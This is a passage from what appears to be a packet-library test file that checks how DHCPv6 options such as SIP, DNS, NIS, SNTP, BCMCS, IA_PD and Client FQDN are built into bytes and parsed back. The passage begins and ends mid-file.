== 11\n\n= DHCP6OptReconfMsg - Instantiation with specific values\nraw(DHCP6OptReconfMsg(optlen=4, msgtype=5)) == b'\\x00\\x13\\x00\\x04\\x05'\n\n= DHCP6OptReconfMsg - Dissection with specific values\na = DHCP6OptReconfMsg(b'\\x00\\x13\\x00\\x04\\x05')\na.optcode == 19 and a.optlen == 4 and a.msgtype == 5\n\n\n############\n############\n+ Test DHCP6 Option - Reconfigure Accept\n\n= DHCP6OptReconfAccept - Basic Instantiation\nraw(DHCP6OptReconfAccept()) == b'\\x00\\x14\\x00\\x00'\n\n= DHCP6OptReconfAccept - Basic Dissection\na = DHCP6OptReconfAccept(b'\\x00\\x14\\x00\\x00')\na.optcode == 20 and a.optlen == 0\n\n= DHCP6OptReconfAccept - Instantiation with specific values\nraw(DHCP6OptReconfAccept(optlen=23)) == b'\\x00\\x14\\x00\\x17'\n\n= DHCP6OptReconfAccept - Dssection with specific values\na = DHCP6OptReconfAccept(b'\\x00\\x14\\x00\\x17')\na.optcode == 20 and a.optlen == 23\n\n\n############\n############\n+ Test DHCP6 Option - SIP Servers Domain Name List\n\n= DHCP6OptSIPDomains - Basic Instantiation\nraw(DHCP6OptSIPDomains()) == b'\\x00\\x15\\x00\\x00'\n\n= DHCP6OptSIPDomains - Basic Dissection\na = DHCP6OptSIPDomains(b'\\x00\\x15\\x00\\x00') \na.optcode == 21 and a.optlen == 0 and a.sipdomains == []\n\n= DHCP6OptSIPDomains - Instantiation with one domain\nraw(DHCP6OptSIPDomains(sipdomains=[\"toto.example.org\"])) == b'\\x00\\x15\\x00\\x12\\x04toto\\x07example\\x03org\\x00'\n\n= DHCP6OptSIPDomains - Dissection with one domain\na = DHCP6OptSIPDomains(b'\\x00\\x15\\x00\\x12\\x04toto\\x07example\\x03org\\x00')\na.optcode == 21 and a.optlen == 18 and len(a.sipdomains) == 1 and a.sipdomains[0] == \"toto.example.org.\"\n\n= DHCP6OptSIPDomains - Instantiation with two domains\nraw(DHCP6OptSIPDomains(sipdomains=[\"toto.example.org\", \"titi.example.org\"])) == b'\\x00\\x15\\x00$\\x04toto\\x07example\\x03org\\x00\\x04titi\\x07example\\x03org\\x00'\n\n= DHCP6OptSIPDomains - Dissection with two domains\na = DHCP6OptSIPDomains(b'\\x00\\x15\\x00$\\x04toto\\x07example\\x03org\\x00\\x04TITI\\x07example\\x03org\\x00')\na.optcode == 21 and a.optlen == 36 and len(a.sipdomains) == 2 and a.sipdomains[0] == \"toto.example.org.\" and a.sipdomains[1] == \"TITI.example.org.\"\n\n= DHCP6OptSIPDomains - Enforcing only one dot at end of domain\nraw(DHCP6OptSIPDomains(sipdomains=[\"toto.example.org.\"])) == b'\\x00\\x15\\x00\\x12\\x04toto\\x07example\\x03org\\x00'\n\n\n############\n############\n+ Test DHCP6 Option - SIP Servers IPv6 Address List\n\n= DHCP6OptSIPServers - Basic Instantiation\nraw(DHCP6OptSIPServers()) == b'\\x00\\x16\\x00\\x00'\n\n= DHCP6OptSIPServers - Basic Dissection\na = DHCP6OptSIPServers(b'\\x00\\x16\\x00\\x00')\na.optcode == 22 and a. optlen == 0 and a.sipservers == []\n\n= DHCP6OptSIPServers - Instantiation with specific values (1 address)\nraw(DHCP6OptSIPServers(sipservers = [\"2001:db8::1\"] )) == b'\\x00\\x16\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= DHCP6OptSIPServers - Dissection with specific values (1 address)\na = DHCP6OptSIPServers(b'\\x00\\x16\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.optcode == 22 and a.optlen == 16 and len(a.sipservers) == 1 and a.sipservers[0] == \"2001:db8::1\" \n\n= DHCP6OptSIPServers - Instantiation with specific values (2 addresses)\nraw(DHCP6OptSIPServers(sipservers = [\"2001:db8::1\", \"2001:db8::2\"] )) == b'\\x00\\x16\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02'\n\n= DHCP6OptSIPServers - Dissection with specific values (2 addresses)\na = DHCP6OptSIPServers(b'\\x00\\x16\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02')\na.optcode == 22 and a.optlen == 32 and len(a.sipservers) == 2 and a.sipservers[0] == \"2001:db8::1\" and a.sipservers[1] == \"2001:db8::2\"\n\n\n############\n############\n+ Test DHCP6 Option - DNS Recursive Name Server\n\n= DHCP6OptDNSServers - Basic Instantiation\nraw(DHCP6OptDNSServers()) == b'\\x00\\x17\\x00\\x00'\n\n= DHCP6OptDNSServers - Basic Dissection\na = DHCP6OptDNSServers(b'\\x00\\x17\\x00\\x00')\na.optcode == 23 and a. optlen == 0 and a.dnsservers == []\n\n= DHCP6OptDNSServers - Instantiation with specific values (1 address)\nraw(DHCP6OptDNSServers(dnsservers = [\"2001:db8::1\"] )) == b'\\x00\\x17\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= DHCP6OptDNSServers - Dissection with specific values (1 address)\na = DHCP6OptDNSServers(b'\\x00\\x17\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.optcode == 23 and a.optlen == 16 and len(a.dnsservers) == 1 and a.dnsservers[0] == \"2001:db8::1\" \n\n= DHCP6OptDNSServers - Instantiation with specific values (2 addresses)\nraw(DHCP6OptDNSServers(dnsservers = [\"2001:db8::1\", \"2001:db8::2\"] )) == b'\\x00\\x17\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02'\n\n= DHCP6OptDNSServers - Dissection with specific values (2 addresses)\na = DHCP6OptDNSServers(b'\\x00\\x17\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02')\na.optcode == 23 and a.optlen == 32 and len(a.dnsservers) == 2 and a.dnsservers[0] == \"2001:db8::1\" and a.dnsservers[1] == \"2001:db8::2\"\n\n\n############\n############\n+ Test DHCP6 Option - DNS Domain Search List Option\n\n= DHCP6OptDNSDomains - Basic Instantiation\nraw(DHCP6OptDNSDomains()) == b'\\x00\\x18\\x00\\x00'\n\n= DHCP6OptDNSDomains - Basic Dissection\na = DHCP6OptDNSDomains(b'\\x00\\x18\\x00\\x00')\na.optcode == 24 and a.optlen == 0 and a.dnsdomains == []\n\n= DHCP6OptDNSDomains - Instantiation with specific values (1 domain) \nraw(DHCP6OptDNSDomains(dnsdomains=[\"toto.example.com.\"])) == b'\\x00\\x18\\x00\\x12\\x04toto\\x07example\\x03com\\x00'\n\n= DHCP6OptDNSDomains - Dissection with specific values (1 domain) \na = DHCP6OptDNSDomains(b'\\x00\\x18\\x00\\x12\\x04toto\\x07example\\x03com\\x00')\na.optcode == 24 and a.optlen == 18 and len(a.dnsdomains) == 1 and a.dnsdomains[0] == \"toto.example.com.\"\n\n= DHCP6OptDNSDomains - Instantiation with specific values (2 domains) \nraw(DHCP6OptDNSDomains(dnsdomains=[\"toto.example.com.\", \"titi.example.com.\"])) == b'\\x00\\x18\\x00$\\x04toto\\x07example\\x03com\\x00\\x04titi\\x07example\\x03com\\x00'\n\n= DHCP6OptDNSDomains - Dissection with specific values (2 domains) \na = DHCP6OptDNSDomains(b'\\x00\\x18\\x00$\\x04toto\\x07example\\x03com\\x00\\x04titi\\x07example\\x03com\\x00')\na.optcode == 24 and a.optlen == 36 and len(a.dnsdomains) == 2 and a.dnsdomains[0] == \"toto.example.com.\" and a.dnsdomains[1] == \"titi.example.com.\"\n\n\n############\n############\n+ Test DHCP6 Option - IA_PD Prefix Option\n\n= DHCP6OptIAPrefix - Basic Instantiation\nraw(DHCP6OptIAPrefix()) == b'\\x00\\x1a\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6OptIAPrefix - Basic Dissection\na = DHCP6OptIAPrefix(b'\\x00\\x1a\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.optcode == 26 and a.optlen == 25 and a.prefix == \"2001:db8::\" and a.plen == 48 and a.preflft == 0 and a. validlft == 0 and a.iaprefopts == []\n\n= DHCP6OptIAPrefix - Instantiation with specific values\nraw(DHCP6OptIAPrefix(optlen=0x1111, prefix=\"1111:2222:3333:4444::\", plen=64, preflft=0x66666666, validlft=0x77777777, iaprefopts=\"somestring\")) == b'\\x00\\x1a\\x11\\x11ffffwwww@\\x11\\x11\"\"33DD\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00somestring'\n\n= DHCP6OptIAPrefix - Instantiation with specific values (default optlen computation)\nraw(DHCP6OptIAPrefix(prefix=\"1111:2222:3333:4444::\", plen=64, preflft=0x66666666, validlft=0x77777777, iaprefopts=\"somestring\")) == b'\\x00\\x1a\\x00#ffffwwww@\\x11\\x11\"\"33DD\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00somestring'\n\n= DHCP6OptIAPrefix - Dissection with specific values \na = DHCP6OptIAPrefix(b'\\x00\\x1a\\x00#ffffwwww@\\x11\\x11\"\"33DD\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00somerawing')\na.optcode == 26 and a.optlen == 35 and a.prefix == \"1111:2222:3333:4444::\" and a.plen == 64 and a.preflft == 0x66666666 and a.validlft == 0x77777777 and a.iaprefopts[0].load == b\"somerawing\"\n\n\n############\n############\n+ Test DHCP6 Option - Identity Association for Prefix Delegation\n\n= DHCP6OptIA_PD - Basic Instantiation\nraw(DHCP6OptIA_PD()) == b'\\x00\\x19\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6OptIA_PD - Basic Dissection\na = DHCP6OptIA_PD(b'\\x00\\x19\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.optcode == 25 and a.optlen == 12 and a.iaid == 0 and a.T1 == 0 and a.T2==0 and a.iapdopt == []\n\n= DHCP6OptIA_PD - Instantiation with specific values (keep automatic length computation) \nprint(raw(DHCP6OptIA_PD(iaid=0x22222222, T1=0x33333333, T2=0x44444444)))\nraw(DHCP6OptIA_PD(iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\\x00\\x19\\x00\\x0c\"\"\"\"3333DDDD'\n\n= DHCP6OptIA_PD - Instantiation with specific values (forced optlen)\nraw(DHCP6OptIA_PD(optlen=0x1111, iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\\x00\\x19\\x11\\x11\"\"\"\"3333DDDD'\n\n= DHCP6OptIA_PD - Instantiation with a list of IA Prefixes (optlen automatic computation)\nraw(DHCP6OptIA_PD(iaid=0x22222222, T1=0x33333333, T2=0x44444444, iapdopt=[DHCP6OptIAPrefix(), DHCP6OptIAPrefix()])) == b'\\x00\\x19\\x00F\"\"\"\"3333DDDD\\x00\\x1a\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6OptIA_PD - Dissection with specific values\na = DHCP6OptIA_PD(b'\\x00\\x19\\x00N\"\"\"\"3333DDDD\\x00\\x1a\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.optcode == 25 and a.optlen == 78 and a.iaid == 0x22222222 and a.T1 == 0x33333333 and a.T2==0x44444444 and len(a.iapdopt) == 2 and isinstance(a.iapdopt[0], DHCP6OptIAPrefix) and isinstance(a.iapdopt[1], DHCP6OptIAPrefix)\n\n= DHCP6OptIA_PD - Instantiation with a list of different opts: IA Prefix and Status Code (optlen automatic computation)\nraw(DHCP6OptIA_PD(iaid=0x22222222, T1=0x33333333, T2=0x44444444, iapdopt=[DHCP6OptIAPrefix(), DHCP6OptStatusCode(statuscode=0xff, statusmsg=\"Hello\")])) == b'\\x00\\x19\\x004\"\"\"\"3333DDDD\\x00\\x1a\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x07\\x00\\xffHello'\n\n\n############\n############\n+ Test DHCP6 Option - NIS Servers\n\n= DHCP6OptNISServers - Basic Instantiation\nraw(DHCP6OptNISServers()) == b'\\x00\\x1b\\x00\\x00'\n\n= DHCP6OptNISServers - Basic Dissection\na = DHCP6OptNISServers(b'\\x00\\x1b\\x00\\x00')\na.optcode == 27 and a. optlen == 0 and a.nisservers == []\n\n= DHCP6OptNISServers - Instantiation with specific values (1 address)\nraw(DHCP6OptNISServers(nisservers = [\"2001:db8::1\"] )) == b'\\x00\\x1b\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= DHCP6OptNISServers - Dissection with specific values (1 address)\na = DHCP6OptNISServers(b'\\x00\\x1b\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.optcode == 27 and a.optlen == 16 and len(a.nisservers) == 1 and a.nisservers[0] == \"2001:db8::1\" \n\n= DHCP6OptNISServers - Instantiation with specific values (2 addresses)\nraw(DHCP6OptNISServers(nisservers = [\"2001:db8::1\", \"2001:db8::2\"] )) == b'\\x00\\x1b\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02'\n\n= DHCP6OptNISServers - Dissection with specific values (2 addresses)\na = DHCP6OptNISServers(b'\\x00\\x1b\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02')\na.optcode == 27 and a.optlen == 32 and len(a.nisservers) == 2 and a.nisservers[0] == \"2001:db8::1\" and a.nisservers[1] == \"2001:db8::2\"\n\n\n############\n############\n+ Test DHCP6 Option - NIS+ Servers\n\n= DHCP6OptNISPServers - Basic Instantiation\nraw(DHCP6OptNISPServers()) == b'\\x00\\x1c\\x00\\x00'\n\n= DHCP6OptNISPServers - Basic Dissection\na = DHCP6OptNISPServers(b'\\x00\\x1c\\x00\\x00')\na.optcode == 28 and a. optlen == 0 and a.nispservers == []\n\n= DHCP6OptNISPServers - Instantiation with specific values (1 address)\nraw(DHCP6OptNISPServers(nispservers = [\"2001:db8::1\"] )) == b'\\x00\\x1c\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= DHCP6OptNISPServers - Dissection with specific values (1 address)\na = DHCP6OptNISPServers(b'\\x00\\x1c\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.optcode == 28 and a.optlen == 16 and len(a.nispservers) == 1 and a.nispservers[0] == \"2001:db8::1\" \n\n= DHCP6OptNISPServers - Instantiation with specific values (2 addresses)\nraw(DHCP6OptNISPServers(nispservers = [\"2001:db8::1\", \"2001:db8::2\"] )) == b'\\x00\\x1c\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02'\n\n= DHCP6OptNISPServers - Dissection with specific values (2 addresses)\na = DHCP6OptNISPServers(b'\\x00\\x1c\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02')\na.optcode == 28 and a.optlen == 32 and len(a.nispservers) == 2 and a.nispservers[0] == \"2001:db8::1\" and a.nispservers[1] == \"2001:db8::2\"\n\n\n############\n############\n+ Test DHCP6 Option - NIS Domain Name\n\n= DHCP6OptNISDomain - Basic Instantiation\nraw(DHCP6OptNISDomain()) == b'\\x00\\x1d\\x00\\x01\\x00'\n\n= DHCP6OptNISDomain - Basic Dissection\na = DHCP6OptNISDomain(b'\\x00\\x1d\\x00\\x00')\na.optcode == 29 and a.optlen == 0 and a.nisdomain == b\".\"\n\n= DHCP6OptNISDomain - Instantiation with one domain name\nraw(DHCP6OptNISDomain(nisdomain=\"toto.example.org\")) == b'\\x00\\x1d\\x00\\x12\\x04toto\\x07example\\x03org\\x00'\n\n= DHCP6OptNISDomain - Dissection with one domain name\na = DHCP6OptNISDomain(b'\\x00\\x1d\\x00\\x11\\x04toto\\x07example\\x03org\\x00')\na.optcode == 29 and a.optlen == 17 and a.nisdomain == b\"toto.example.org.\"\n\n= DHCP6OptNISDomain - Instantiation with one domain with trailing dot\nraw(DHCP6OptNISDomain(nisdomain=\"toto.example.org.\")) == b'\\x00\\x1d\\x00\\x12\\x04toto\\x07example\\x03org\\x00'\n\n\n############\n############\n+ Test DHCP6 Option - NIS+ Domain Name\n\n= DHCP6OptNISPDomain - Basic Instantiation\nraw(DHCP6OptNISPDomain()) == b'\\x00\\x1e\\x00\\x01\\x00'\n\n= DHCP6OptNISPDomain - Basic Dissection\na = DHCP6OptNISPDomain(b'\\x00\\x1e\\x00\\x00')\na.optcode == 30 and a.optlen == 0 and a.nispdomain == b\".\"\n\n= DHCP6OptNISPDomain - Instantiation with one domain name\nraw(DHCP6OptNISPDomain(nispdomain=\"toto.example.org\")) == b'\\x00\\x1e\\x00\\x12\\x04toto\\x07example\\x03org\\x00'\n\n= DHCP6OptNISPDomain - Dissection with one domain name\na = DHCP6OptNISPDomain(b'\\x00\\x1e\\x00\\x12\\x04toto\\x07example\\x03org\\x00')\na.optcode == 30 and a.optlen == 18 and a.nispdomain == b\"toto.example.org.\"\n\n= DHCP6OptNISPDomain - Instantiation with one domain with trailing dot\nraw(DHCP6OptNISPDomain(nispdomain=\"toto.example.org.\")) == b'\\x00\\x1e\\x00\\x12\\x04toto\\x07example\\x03org\\x00'\n\n\n############\n############\n+ Test DHCP6 Option - SNTP Servers\n\n= DHCP6OptSNTPServers - Basic Instantiation\nraw(DHCP6OptSNTPServers()) == b'\\x00\\x1f\\x00\\x00'\n\n= DHCP6OptSNTPServers - Basic Dissection\na = DHCP6OptSNTPServers(b'\\x00\\x1f\\x00\\x00')\na.optcode == 31 and a. optlen == 0 and a.sntpservers == []\n\n= DHCP6OptSNTPServers - Instantiation with specific values (1 address)\nraw(DHCP6OptSNTPServers(sntpservers = [\"2001:db8::1\"] )) == b'\\x00\\x1f\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= DHCP6OptSNTPServers - Dissection with specific values (1 address)\na = DHCP6OptSNTPServers(b'\\x00\\x1f\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.optcode == 31 and a.optlen == 16 and len(a.sntpservers) == 1 and a.sntpservers[0] == \"2001:db8::1\" \n\n= DHCP6OptSNTPServers - Instantiation with specific values (2 addresses)\nraw(DHCP6OptSNTPServers(sntpservers = [\"2001:db8::1\", \"2001:db8::2\"] )) == b'\\x00\\x1f\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02'\n\n= DHCP6OptSNTPServers - Dissection with specific values (2 addresses)\na = DHCP6OptSNTPServers(b'\\x00\\x1f\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02')\na.optcode == 31 and a.optlen == 32 and len(a.sntpservers) == 2 and a.sntpservers[0] == \"2001:db8::1\" and a.sntpservers[1] == \"2001:db8::2\"\n\n############\n############\n+ Test DHCP6 Option - Information Refresh Time\n\n= DHCP6OptInfoRefreshTime - Basic Instantiation\nraw(DHCP6OptInfoRefreshTime()) == b'\\x00 \\x00\\x04\\x00\\x01Q\\x80'\n\n= DHCP6OptInfoRefreshTime - Basic Dissction\na = DHCP6OptInfoRefreshTime(b'\\x00 \\x00\\x04\\x00\\x01Q\\x80')\na.optcode == 32 and a.optlen == 4 and a.reftime == 86400\n\n= DHCP6OptInfoRefreshTime - Instantiation with specific values\nraw(DHCP6OptInfoRefreshTime(optlen=7, reftime=42)) == b'\\x00 \\x00\\x07\\x00\\x00\\x00*'\n\n############\n############\n+ Test DHCP6 Option - BCMCS Servers\n\n= DHCP6OptBCMCSServers - Basic Instantiation\nraw(DHCP6OptBCMCSServers()) == b'\\x00\"\\x00\\x00'\n\n= DHCP6OptBCMCSServers - Basic Dissection\na = DHCP6OptBCMCSServers(b'\\x00\"\\x00\\x00')\na.optcode == 34 and a. optlen == 0 and a.bcmcsservers == []\n\n= DHCP6OptBCMCSServers - Instantiation with specific values (1 address)\nraw(DHCP6OptBCMCSServers(bcmcsservers = [\"2001:db8::1\"] )) == b'\\x00\"\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= DHCP6OptBCMCSServers - Dissection with specific values (1 address)\na = DHCP6OptBCMCSServers(b'\\x00\"\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.optcode == 34 and a.optlen == 16 and len(a.bcmcsservers) == 1 and a.bcmcsservers[0] == \"2001:db8::1\" \n\n= DHCP6OptBCMCSServers - Instantiation with specific values (2 addresses)\nraw(DHCP6OptBCMCSServers(bcmcsservers = [\"2001:db8::1\", \"2001:db8::2\"] )) == b'\\x00\"\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02'\n\n= DHCP6OptBCMCSServers - Dissection with specific values (2 addresses)\na = DHCP6OptBCMCSServers(b'\\x00\"\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02')\na.optcode == 34 and a.optlen == 32 and len(a.bcmcsservers) == 2 and a.bcmcsservers[0] == \"2001:db8::1\" and a.bcmcsservers[1] == \"2001:db8::2\"\n\n\n############\n############\n+ Test DHCP6 Option - BCMCS Domains\n\n= DHCP6OptBCMCSDomains - Basic Instantiation\nraw(DHCP6OptBCMCSDomains()) == b'\\x00!\\x00\\x00'\n\n= DHCP6OptBCMCSDomains - Basic Dissection\na = DHCP6OptBCMCSDomains(b'\\x00!\\x00\\x00')\na.optcode == 33 and a.optlen == 0 and a.bcmcsdomains == []\n\n= DHCP6OptBCMCSDomains - Instantiation with specific values (1 domain) \nraw(DHCP6OptBCMCSDomains(bcmcsdomains=[\"toto.example.com.\"])) == b'\\x00!\\x00\\x12\\x04toto\\x07example\\x03com\\x00'\n\n= DHCP6OptBCMCSDomains - Dissection with specific values (1 domain) \na = DHCP6OptBCMCSDomains(b'\\x00!\\x00\\x12\\x04toto\\x07example\\x03com\\x00')\na.optcode == 33 and a.optlen == 18 and len(a.bcmcsdomains) == 1 and a.bcmcsdomains[0] == \"toto.example.com.\"\n\n= DHCP6OptBCMCSDomains - Instantiation with specific values (2 domains) \nraw(DHCP6OptBCMCSDomains(bcmcsdomains=[\"toto.example.com.\", \"titi.example.com.\"])) == b'\\x00!\\x00$\\x04toto\\x07example\\x03com\\x00\\x04titi\\x07example\\x03com\\x00'\n\n= DHCP6OptBCMCSDomains - Dissection with specific values (2 domains) \na = DHCP6OptBCMCSDomains(b'\\x00!\\x00$\\x04toto\\x07example\\x03com\\x00\\x04titi\\x07example\\x03com\\x00')\na.optcode == 33 and a.optlen == 36 and len(a.bcmcsdomains) == 2 and a.bcmcsdomains[0] == \"toto.example.com.\" and a.bcmcsdomains[1] == \"titi.example.com.\"\n\n\n############\n############\n+ Test DHCP6 Option - Relay Agent Remote-ID\n\n= DHCP6OptRemoteID - Basic Instantiation\nraw(DHCP6OptRemoteID()) == b'\\x00%\\x00\\x04\\x00\\x00\\x00\\x00'\n\n= DHCP6OptRemoteID - Basic Dissection\na = DHCP6OptRemoteID(b'\\x00%\\x00\\x04\\x00\\x00\\x00\\x00')\na.optcode == 37 and a.optlen == 4 and a.enterprisenum == 0 and a.remoteid == b\"\"\n\n= DHCP6OptRemoteID - Instantiation with specific values \nraw(DHCP6OptRemoteID(enterprisenum=0xeeeeeeee, remoteid=\"someid\")) == b'\\x00%\\x00\\n\\xee\\xee\\xee\\xeesomeid'\n\n= DHCP6OptRemoteID - Dissection with specific values\na = DHCP6OptRemoteID(b'\\x00%\\x00\\n\\xee\\xee\\xee\\xeesomeid')\na.optcode == 37 and a.optlen == 10 and a.enterprisenum == 0xeeeeeeee and a.remoteid == b\"someid\"\n\n\n############\n############\n+ Test DHCP6 Option - Subscriber ID\n\n= DHCP6OptSubscriberID - Basic Instantiation\nraw(DHCP6OptSubscriberID()) == b'\\x00&\\x00\\x00'\n\n= DHCP6OptSubscriberID - Basic Dissection\na = DHCP6OptSubscriberID(b'\\x00&\\x00\\x00')\na.optcode == 38 and a.optlen == 0 and a.subscriberid == b\"\"\n\n= DHCP6OptSubscriberID - Instantiation with specific values\nraw(DHCP6OptSubscriberID(subscriberid=\"someid\")) == b'\\x00&\\x00\\x06someid'\n\n= DHCP6OptSubscriberID - Dissection with specific values\na = DHCP6OptSubscriberID(b'\\x00&\\x00\\x06someid')\na.optcode == 38 and a.optlen == 6 and a.subscriberid == b\"someid\"\n\n\n############\n############\n+ Test DHCP6 Option - Client FQDN\n\n= DHCP6OptClientFQDN - Basic Instantiation\nraw(DHCP6OptClientFQDN()) == b\"\\x00'\\x00\\x02\\x00\\x00\"\n\n= DHCP6OptClientFQDN - Basic Dissection\na = DHCP6OptClientFQDN(b\"\\x00'\\x00\\x01\\x00\")\na.optcode == 39 and a.optlen == 1 and a.res == 0 and a.flags == 0 and a.fqdn == b\".\"\n\n= DHCP6OptClientFQDN - Instantiation with various flags combinations\nraw(DHCP6OptClientFQDN(flags=\"S\")) == b\"\\x00'\\x00\\x02\\x01\\x00\" and raw(DHCP6OptClientFQDN(flags=\"O\")) == b\"\\x00'\\x00\\x02\\x02\\x00\" and raw(DHCP6OptClientFQDN(flags=\"N\")) == b\"\\x00'\\x00\\x02\\x04\\x00\" and raw(DHCP6OptClientFQDN(flags=\"SON\")) == b\"\\x00'\\x00\\x02\\x07\\x00\" and raw(DHCP6OptClientFQDN(flags=\"ON\")) == b\"\\x00'\\x00\\x02\\x06\\x00\"\n\n= DHCP6OptClientFQDN - Instantiation with one fqdn \nraw(DHCP6OptClientFQDN(fqdn=\"toto.example.org\")) == b\"\\x00'\\x00\\x13\\x00\\x04toto\\x07example\\x03org\\x00\"\n\n= DHCP6OptClientFQDN - Dissection with one fqdn \na = DHCP6OptClientFQDN(b\"\\x00'\\x00\\x12\\x00\\x04toto\\x07example\\x03org\\x00\")\na.optcode == 39 and a.optlen == 18 and a.res == 0 and a.flags == 0 and a.fqdn == b\"toto.example.org.\"\n\n\n############\n############\n+ Test DHCP6 Option PANA Auth Agent\n\n= DHCP6OptPanaAuthAgent - Basic Instantiation\nraw(DHCP6OptPanaAuthAgent()) ==  